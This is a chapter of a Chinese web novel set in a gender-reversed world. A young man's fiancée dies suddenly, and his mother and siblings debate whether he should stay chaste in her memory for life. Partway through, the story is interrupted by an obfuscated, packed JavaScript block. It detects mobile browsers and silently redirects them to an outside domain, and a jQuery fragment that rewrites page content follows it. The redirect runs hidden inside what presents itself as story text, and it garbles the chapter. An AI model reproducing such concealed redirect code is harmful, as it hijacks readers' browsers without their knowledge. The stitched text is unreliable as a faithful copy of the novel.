仲夏时节,绿树荫浓。
炎热的午后,午睡刚醒的蔺昭正躺在床上打着哈欠,伸着懒腰,忽然听到外头传来一阵门板被擂得咚咚作响的声音。
咦,这么热的天气,谁这个时候跑来敲门?而且还是这种砸门式敲法,像是出了什么大事的样子。
蔺家有一个人到中年负责打杂的男仆,听到动静前去开门,领了一个神色仓惶的小厮进来,双双站在正屋的台阶前。
“老爷,樊家派人过来,说是有要事禀报。”
梁宽也被惊醒了,他翻个身从床上爬起来,头发是散的,衣裳是乱的,不适合见客,就隔着窗棂发问道:“什么事啊?”
那小厮带着哭腔大声回答道:“蔺老爷,我家二娘子她……她刚刚因为暑热闭痧没了。”
樊家二娘子,就是蔺明的未婚妻子,再有不到两个月二人就要成亲了。
梁宽听得一张脸霍然变色,他不敢相信自己的耳朵,失声追问道:“你说清楚一点,什么叫作没了?”
“就是我家二娘子不幸急病身亡了。”
这个噩耗宛如一道晴天霹雳,别说梁宽,就连西厢房里旁听的蔺昭都被震懵了。
“怎么会这样?”
“谁都没想到会这样。二娘子上午和几个朋友一块去西山游猎,晒了半天毒日头,回到家就一口气喝了一壶酸梅饮,又吃了半个冰镇西瓜,结果导致闭了痧。大夫被请过来的时候,人已经昏厥过去了,还浑身痉挛不止。救了半天还是没救过来,未正三刻咽了气,我家老爷已经哭成了泪人儿一个。”
.
小厮报完丧离开后,心乱如麻的梁宽匆忙穿好衣裳,走进了蔺明的屋子。
刚才的噩耗,蔺家长耳朵的人都能听见,蔺明自然也不会例外。
他整个人活像石化了似的,呆坐在绣棚前一动不动。绣布上一双戏水鸳鸯已经基本完工,活灵活现。
“明郎,你都听见了吧?唉,真没想到樊二娘会突然急病身亡,你们这桩婚事只能就此作罢。好在你还没有嫁过去,否则就要直接从新郎变寡夫,还得守上一辈子的寡。”
梁宽安慰蔺明的话,他似听非听,整个人活像丢了魂似的。刚进屋的蔺昭倒是深以为然地直点头。
“是啊大哥,你算运气好,如果樊二娘是婚后突然病死,那你一嫁过去就要守寡了。”
蔺明还是一脸失魂落魄的神色,一声不响地沉默着。
“明郎,看来你和樊二娘命中无缘,做不了她的丈夫,你要嫁的妻子另有其人。回头我让你娘再替你物色一个好婆家啊!”
安慰了蔺明几句后梁宽就先走了,他急着赶去茶庄把这个噩耗告诉蔺东玉。
“招妹,我出去一趟,你留在这里好好陪着你大哥,知道吗?”
“爹放心,我会的。”
“对了,昀郎呢?”
“二哥应该是还在午睡吧。”
蔺昀这个小吃货能吃又能睡,睡熟了就连打雷都吵不醒。
未来大嫂突然暴病身亡这么大的事,他一点也不知道,还在睡梦中啃着香喷喷的桂花糕呢。
梁宽走后,蔺昭守在失魂落魄的蔺明身边开导他。
“大哥,你别难过了。樊二娘虽然是你的未婚妻,可是你连她的面都没见过,就是父母之命媒妁之言订下的亲事。除了有个未婚妻的名头外,她于你而言根本就是陌生人一个,你实在没必要太过伤心了。”
蔺明声音嘶哑地低声道:“虽然没有见过面,可她终究是我的未婚妻,我本该是要和她过上一辈子的。如今她突然撒手人寰走了,丢下我一个人可怎么办啊?”
“什么怎么办啊?死去的人已经死去,活着的人还得好好活着。她没福气不能跟你过上一辈子,自然另外有有福气的人。大哥,你就放心吧,我相信娘一定能为你再寻一户好婆家的。”
蔺明却摇头道:“一夫事一妇,安可再移天。我既然已经许给了樊二娘为夫,这一生就生是她的人、死是她的鬼。”
蔺昭听得心里格登一下:“大哥,你不是想给樊二娘守望门寡吧?快别犯这种糊涂了。”
蔺明不置可否地沉默着,等同一种无声的默认。
蔺昭简直没法不抓狂:我靠,贺老头那套贞节至上的洗脑包真是威力了得。大哥都已经侥幸摆脱了当寡夫的命运,却还主动想去守这个望门寡,简直就是自己往火坑里跳啊!
.
蔺氏茶庄,蔺东玉刚刚听梁宽说了樊二娘突然病故的事,眉头紧锁着良久无声。
“家主,樊二娘突然没了,那咱们明郎以后还能再说上一桩好婚事吗?”
蔺东玉叹口气道:“难了。婚期在即,新娘却突然暴毙,未过门的新郎往往会落个克妻的名声。讲究的人家大都宁可信其有、不可信其无,不可能会再来提亲。”
梁宽也担心这一点,绞着双手满脸愁苦担忧的神色。
“照这么说,明郎以后恐怕是找不着好婆家了?”
“是啊,那些肯来议亲的人家肯定都家境不如咱们,也会狮子大开口地翻倍要嫁妆。这倒也罢了,无非就是多给几个钱。但花钱也买不了平安,只要明郎出嫁后婆家遇上什么不好的事,都得怪到他头上,会有受不完的腌臢气。”
“家主,那可怎么办啊?难道明郎这辈子就要这样交代了吗?”
“这世道男子不易,哪怕咱们明郎一向循规蹈矩,从来没有出过半点差错,但樊二娘这一死,他的后半生想要活好就难了。”
“家主,如果明郎日后一直找不到好婆家,要不咱们就一直养着他吧,总好过把他嫁出去遭人作践,您说呢?”
蔺东玉思索片刻后点了点头。
“也罢,如果不打算再给明郎找婆家,不妨干脆让他替樊二娘守个望门寡,那样传出去名声更好听。如果能守贞到五十岁,还能获得朝廷的旌表门闾,对蔺家大有益处。曦儿有这样一位堪称贞洁典范的兄长,说出去也脸面有光。”
梁宽有些于心不忍,“可是明郎才十六岁,要守贞到五十岁,得守上整整三十四年啊!他还那么年轻,会不会太残忍了?”
“要么守望门寡,要么嫁去很难会善待自己的人家,二者选其一的话,你要选哪个?”
梁宽沉默片刻:“要不让明郎自己选吧,毕竟是他一辈子的事。”
“行,晚上我回去后跟他说。”
“家主,今晚就先别说了。出了这么大的事,好歹先让他缓上一缓。”
蔺东玉没有异议地点头:“也好,那就明天再说吧!”
.
这天晚上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353498|183595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,蔺明没有吃晚饭,说是身子不爽利躺在床上休息。
正房的厅堂里,蔺家其余五人坐在一起吃饭时,气氛格外沉重。每个人都是食不下咽的样子,包括平时吃什么都津津有味的小吃货蔺昀。
蔺昀做梦也没想到,自己睡个午觉的功夫居然出了这么大的事。
未来大嫂突然暴毙身亡,原本不到两个月就要出嫁的大哥被撂在半路上了。
午睡醒来得知此事后,蔺昀立即拿出自己积攒的零用钱,让仆人外出买蔺明最爱吃的糖酪樱桃。
酸酸甜甜冰冰凉凉的糖酪樱桃贵得要死,像蔺家这样的小富之家平时也轻易舍不得买来吃。
可是这天蔺昀不惜血本买回的一大碗糖酪樱桃送到蔺明面前,他却连看都不看一眼。
“大哥,你就吃一点吧!心情不好的时候吃点好吃的,就能好起来的。”
蔺昭也帮腔道:“是呀大哥,你吃一点吧,吃甜食更能让心情愉悦。”
蔺明神情苦涩地摇了一下头,“现在就是让我吃龙肝凤胆,我的心情也好不起来了。你们两个吃了吧,别浪费了这么贵的东西。”
尽管两个弟弟劝了又劝,可那碗糖酪樱桃蔺明到底是一口也没有吃。
.
一边吃着饭,蔺曦一边难以置信地慨叹起来。
“娘,上个月我陪您一起去樊记布庄买布时还见到了樊家二姐姐,她当时身子康健的很,怎么会一场急病就过去了呢?”
蔺东玉亦是一声长叹:“是啊,好端端的一个人,谁能料到会突然中暑而死。唉,都是命啊!”
梁宽眼圈一红地哽咽道:“咱们明郎的命怎么就这么苦啊?”
蔺昭觉得有件事自己必须说出来。
“娘,爹,下午我守在大哥身边劝他时,他说什么一夫事一妇,安可再移天。我问他是不是打算给樊二娘守望门寡,他没有否认呢。”
蔺东玉脸上是一种意料之外又情理之中的神色。
“原来明郎也是这么想的。”
蔺昭听这话风不对,什么叫也是这么想的?
难道蔺东玉有同样的想法吗?如果这样的话,那蔺明这个望门寡就要守定了,下半辈子算是彻底玩完了。
蔺曦也听出来了,“娘,您也是作此打算,想让大哥为樊二娘守望门寡吗?”
“曦儿,你是家里唯一的读书人,你来说说看,你大哥这种情况该怎么办?”
“很多书里都写了,男子应从一而终,妻死守节,誓不再嫁,再嫁则伤风败俗。虽然大哥还没嫁进樊家,但订了婚就是樊二娘的未婚夫,为她守望门寡也合情合理,亦不失为美谈一桩。”
作为九岁就能背很多书的早慧儿童蔺曦,很快从自己学过的知识中找到了标准答案。
蔺东玉听得频频点头:“曦儿说得好,有理有据。未婚妻死了,男子就该为她守望门寡,方是遵守夫道保持贞洁的体现。”
蔺昭:“……”
原本他还想让蔺东玉劝说蔺明打消自己往火坑里跳的傻念头,没承想她却打算亲手把他推进去。而且蔺曦还将此事定性为美谈一桩,他还能说什么呢?
蔺昭只能在心底破口大骂:去你奶奶个熊!守你大爷的望门寡!不行,我一定要想办法劝大哥打消这个糊涂念头不可。